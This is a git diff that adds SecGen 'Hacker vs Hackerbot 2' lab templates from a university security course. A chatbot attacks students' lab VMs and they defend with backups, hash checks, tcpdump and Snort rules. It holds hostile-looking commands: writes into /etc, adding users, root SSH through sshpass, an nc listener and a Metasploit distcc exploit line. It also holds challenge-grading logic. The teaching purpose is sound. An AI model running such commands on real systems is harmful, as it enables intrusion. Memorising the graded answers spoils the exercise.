Something was not right... + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_4.xml.erb new file mode 100644 index 000000000..1a091f868 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_4.xml.erb @@ -0,0 +1,21 @@ + + + + An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only. (Don't forget to 'sudo umount /etc/' to reverse this after you complete this challenge!) + + echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack1.xml.erb new file mode 100644 index 000000000..3a9328319 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack1.xml.erb @@ -0,0 +1,36 @@ + + +<% $random_user = 'user' + SecureRandom.hex(3) %> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd. + + rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + + returned error code + :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!. + + + 0 + User added + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack2.xml.erb new file mode 100644 index 000000000..058a60b83 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack2.xml.erb @@ -0,0 +1,20 @@ + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /etc/ + A flag has been inserted into a random file in /etc/. Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/ + + + :( Something was not right... We are trying to write to /etc/ + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack3.xml.erb new file mode 100644 index 000000000..7826a066a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack3.xml.erb @@ -0,0 +1,19 @@ + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /home/<%= $main_user %>/backups/ + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack4.xml.erb new file mode 100644 index 000000000..4b1144145 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack4.xml.erb @@ -0,0 +1,27 @@ + + +<% $random = SecureRandom.hex %> + + Creating a new file in /home/<%= $main_user %>/... Let it happen. + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack5.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack5.xml.erb new file mode 100644 index 000000000..376c76d4b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack5.xml.erb @@ -0,0 +1,26 @@ + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes. + x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack6.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack6.xml.erb new file mode 100644 index 000000000..1ae0a2373 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack6.xml.erb @@ -0,0 +1,26 @@ + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file. + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack7.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack7.xml.erb new file mode 100644 index 000000000..6cb8178b2 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/integrity_attack7.xml.erb @@ -0,0 +1,27 @@ + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename. + srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/intro.md.erb new file mode 100644 index 000000000..59b1e3048 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/intro.md.erb @@ -0,0 +1,119 @@ +# Hacker vs Hackerbot 2 + +## Troubleshooting with oVirt during the test + +In the unlikely event you experience technical issues with our infrastructure during the test, please keep the following in mind. + +* If your Snort alert file fills with "BAD TRAFFIC" alerts, let us know asap and we can fix that for you by changing the network interface type. + +* If copy and paste stops working, simply copy your flags to a text file rather than the submission site, and let us know when you finish the test so we can help you submit these before you leave. + +* If a VM looses its IP addresses (particularly the IDS server), simply run `sudo ifconfig eth1 *IP_ADDRESS*`, where `*IP_ADDRESS*` is the expected IP address (listed in the section below). + +* If you experience any technical issues, which you believe to be outside your control, let us know before you leave the room. However, keep in mind we won't give hints for the actual test challenges. + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- ids_server (IP address: <%= $ids_server_ip %>) +- web_server (IP address: <%= $web_server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +### Your login details for the "desktop" and "backup_server" VMs +User: <%= $main_user %> +Password: <%= $main_password %> +(You can copy-paste this password!) + +You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to complete tasks and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +--- + +Some commands you may find useful include: +* `rsync` +* `chattr` +* `lsattr` +* `chmod` +* `hashdeep` +* `shasum` +* `mount` +* `umount` +* `diff` +* `tcpdump` +* `wireshark` +* `kdesudo` +* `ssh` +* `snort` +* `sudo service snort stop` +* `sudo service snort start` +* `netstat` +* `ps` +* `lsof` +* `top` + +Remember you can learn more about the commands by running: +```bash +man *command* +``` + +## Getting Snort up and running + +**On the ids_server VM:** + +==Change Snort's output== to something more readable: + +```bash +sudo vi /etc/snort/snort.conf +``` +> (Remember: editing using vi involves pressing "i" to insert/edit text, then *Esc*, + +> ":wq" to write changes and quit) + +==Add the following lines:== +`output alert_fast` + +`include $RULE_PATH/my.rules` + +==Create a new rules file:== + +```bash +sudo touch /etc/snort/rules/my.rules +``` + +Let us edit the rules file without sudo: + +```bash +sudo chown <%= $main_user %> /etc/snort/rules/my.rules +``` + +==Change Snort's interface== to the interface with IP address <%= $ids_server_ip %> (likely eth1), and set the local network to your IP address range (or "any"): + +```bash +sudo vi /etc/snort/snort.debian.conf +``` +> If you are not sure which interface to use, list the interfaces with `ifconfig` or `ip a s` +> Set the interface and HOME network range, and exit vi (Esc, ":wq"). + +==Restart Snort:== + +```bash +sudo service snort stop +sudo service snort start +``` +> Using "reload" or "restart" may not update the interface. + +Snort should now be running, monitoring network traffic for activity. + +### Good luck! \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/lab.xml.erb new file mode 100644 index 000000000..11cfd95ba --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/lab.xml.erb @@ -0,0 +1,164 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_password = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $web_server_ip = self.web_server_ip.first + $ids_server_ip = self.ids_server_ip.first + $backup_server_ip = self.backup_server_ip.first + $desktop_ip = self.desktop_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + $sensitive_files_location = "/home/#{$main_user}/trade_secrets/" + + REQUIRED_FLAGS = 10 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +-%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + + + + You are about to be attacked! + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + HvHB1 + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + + +<% + $permission_attacks = ['file_perms_attack_1.xml.erb', 'file_perms_attack_2.xml.erb', 'file_perms_attack_3.xml.erb', 'file_perms_attack_4.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %> + + +<% + $integrity_attacks = ['integrity_attack1.xml.erb', 'integrity_attack2.xml.erb', 'integrity_attack3.xml.erb', 'integrity_attack4.xml.erb', 'integrity_attack5.xml.erb', 'integrity_attack6.xml.erb', 'integrity_attack7.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> + + +<% + $network_monitoring = ['network_monitoring_1.xml.erb', 'network_monitoring_2.xml.erb', 'network_monitoring_3.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $network_monitoring.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $network_monitoring.pop ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + 'random_service_ids_rule.xml.erb').result(self.get_binding) %> + + +<% + $snort_rules = ['snort_rule_1.xml.erb', 'snort_rule_2.xml.erb', 'snort_rule_3.xml.erb', 'snort_rule_4.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $snort_rules.pop ).result(self.get_binding) %> + + +<% + $snort_exfil_rules = ['exfiltration_rule_1.xml.erb', 'exfiltration_rule_2.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $snort_exfil_rules.pop ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'live_analysis_1.xml.erb' ).result(self.get_binding) %> + + +
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/labsheet.html.erb new file mode 100644 index 000000000..f2305ec1c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/live_analysis_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/live_analysis_1.xml.erb new file mode 100644 index 000000000..3d8f97209 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/live_analysis_1.xml.erb @@ -0,0 +1,30 @@ + +<% $rand_port_live = rand(65535) %> + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'setsid nc -l -p <%= $rand_port_live %> &' & sleep 4; killall -9 ssh; echo 'OK' + + false + + + About to do something to your web server, let it happen... + + + OK + Ok, answer this. + + + + OK.. + Ok, answer this. + + + + Ok... + + + + What port has just been opened by a process on your web server? + <%= $rand_port_live %> + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_1.xml.erb new file mode 100644 index 000000000..11d99199d --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_1.xml.erb @@ -0,0 +1,22 @@ + +<% $rand1 = SecureRandom.hex(2) %> + curl -v -H 'Something-worth-noting: <%= $rand1 %>:<%= $flags.pop %>' <%= $web_server_ip %> > /dev/null; echo $? + false + + + #1 Monitor the network traffic using Tcpdump or Wireshark, and look out for a string starting with "<%= $rand1 %>". + + + 0 + Hope you found the flag! Moving on... + true + + + 1 + :( Failed to talk to the web server (<%= $web_server_ip %>) + + + Ok, next up... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_2.xml.erb new file mode 100644 index 000000000..bf34a9572 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_2.xml.erb @@ -0,0 +1,20 @@ + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + whoami > /dev/null; echo "<%= $flags.pop %>" > /dev/null; echo 'Find the flag! (in the network traffic)' + + Your webserver is about to be scanned/attacked. Use Tcpdump and/or Wireshark to view the behaviour of the attacker. There is a flag to be found over the wire. + + + Find the flag + Hope you caught that. + + + + 1 + :( Failed to contact the web server (<%= $web_server_ip %>) + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_3.xml.erb new file mode 100644 index 000000000..5f78fe0ed --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/network_monitoring_3.xml.erb @@ -0,0 +1,25 @@ + +<% $rand_port = rand(65535) %> + nmap -p <%= $rand_port %> {{chat_ip_address}} > /dev/null; echo $? + false + + + Monitor the network traffic, and look out for attempts to scan your desktop VM. You need to identify what port the connection attempt is to. + + + 0 + Hope you found the port number. + + + + 1 + :( Failed to scan + + + + Now after the attack, what port number was scanned? + ^<%= $rand_port %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/random_service_ids_rule.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/random_service_ids_rule.xml.erb new file mode 100644 index 000000000..75d590e25 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/random_service_ids_rule.xml.erb @@ -0,0 +1,31 @@ + +<% $services = {'FTP'=>'20','Telnet'=>'23','SMTP'=>'25','HTTP'=>'80','POP3'=>'110','IMAP'=>'143','SNMP'=>'161','LDAP'=>'389','HTTPS'=>'443','LDAPS'=>'636'} + $rand_service1 = $services.keys.sample + $rand_alert3 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 1000,<%= $services[$rand_service1] %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -u /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to <%= $rand_service1 %> (just the connection attempt, does not require content inspection) on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert3 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + <%= $rand_alert3 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_1.xml.erb new file mode 100644 index 000000000..af3db0e3c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_1.xml.erb @@ -0,0 +1,34 @@ + +<% $rand_port = rand(65535) + $rand_alert1 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p <%= $rand_port - 1 %>-<%= $rand_port + 1 %> <%= $web_server_ip %> > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any TCP connection attempt to TCP port <%= $rand_port %> to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert1 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--01 + :( Failed to scan your system. + + + ^--[01][01]1 + :( Failed to scp to your system (the second time). + + + ^--00.*<%= $rand_alert1 %>.*<%= $rand_alert1 %> + :( Almost. The alert did fire, but it fired more than once! + + + <%= $rand_alert1 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_2.xml.erb new file mode 100644 index 000000000..6b6e21efe --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_2.xml.erb @@ -0,0 +1,26 @@ + +<% $rand_content1 = SecureRandom.hex(3) + $rand_alert2 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; (sleep 1; echo "USER <%= $rand_content1 %>"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110 > /dev/null; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any packet with the contents "<%= $rand_content1 %>" to <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert2 %>". + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert2 %>.*<%= $rand_alert2 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert2 %> + :) Well done! <%= $flags.pop %>. + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_3.xml.erb new file mode 100644 index 000000000..3962212f0 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_3.xml.erb @@ -0,0 +1,33 @@ + + +<% $rand_alert4 = SecureRandom.hex(3) +%> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule. + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + 8-) Well done! <%= $flags.pop %>. + + + + ^--0.*<%= $rand_alert4 %> + :( The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive? + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_3__3flags.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_3__3flags.xml.erb new file mode 100644 index 000000000..88db7b668 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_3__3flags.xml.erb @@ -0,0 +1,42 @@ + + +<% $rand_alert4 = SecureRandom.hex(3) + $flag1 = $flags.pop + $flag2 = $flags.pop + $flag3 = $flags.pop +%> + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; stat1=$?; nmap -sT -p 110 <%= $web_server_ip %> > /dev/null; (sleep 1; echo "USER <%= $main_user %>"; echo "PASS <%= $main_user_pass %>"; echo "STAT"; echo "QUIT"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; (sleep 1; echo "user test"; echo "pass test"; echo "stat"; echo "quit"; sleep 2; killall -9 nc ) | nc <%= $web_server_ip %> 110; stat2=$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; stat3=$?; echo --$stat1$stat2$stat3; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 + false + + + Create a Snort rule that detects any unencrypted POP3 email *user authentication attempt* (someone trying to log in), to a mail server on <%= $web_server_ip %>. The alert must include the message "<%= $rand_alert4 %>". Up to three flags will be awarded, based on the quality of the rule. + + + ^--1 + :( Failed to scp to your system. + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + :( Almost, but your rule triggered too many times. Are you inspecting the content of the connection? + + + ^--0.*<%= $rand_alert4 %>.*Classification.*User.*<%= $rand_alert4 %> + :-D Well done! ALL THREE FLAGS!: <%= $flag1 %>, <%= $flag2 %>, <%= $flag3 %>. + + + + ^--0.*<%= $rand_alert4 %>.*<%= $rand_alert4 %> + 8-) Well done! Two flags: <%= $flag1 %>, <%= $flag2 %>. Could be further improved with a classification. + + + + ^--0.*<%= $rand_alert4 %> + :) Well done! <%= $flag1 %>. The alert did get triggered, but it fired only under some conditions. Is your rule caps sensitive? More flags are to be had from a better rule ;-) + + + + :( Your rule didn't get triggered (or didn't include the right message). + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_4.xml.erb new file mode 100644 index 000000000..ba834c997 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/snort_rule_4.xml.erb @@ -0,0 +1,34 @@ + +<% $rand_alert5 = SecureRandom.hex(3) %> + sshpass -p <%= $root_password %> 